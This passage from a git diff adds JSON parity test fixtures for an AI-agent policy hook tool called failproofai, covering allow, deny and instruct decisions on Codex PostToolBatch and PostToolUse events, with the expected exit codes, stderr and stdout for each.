"exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostCompact\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d9a60ec6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ffaf1625 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c444dc25 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..151e44a2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..54c5ebd9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..64c5a972 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..944e9b30 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..1673fa9f --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f829e8bc --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..197afba6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0210f883 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b84f6b43 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..328be27b --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ecfe40f0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..40dd6f7c --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5ddd26c6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolBatch\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..9e93b4c0 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b57c4272 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..fb215723 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..a084cb0e --- /dev/null +++ b/__tests__/parity/fixtures/codex/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git 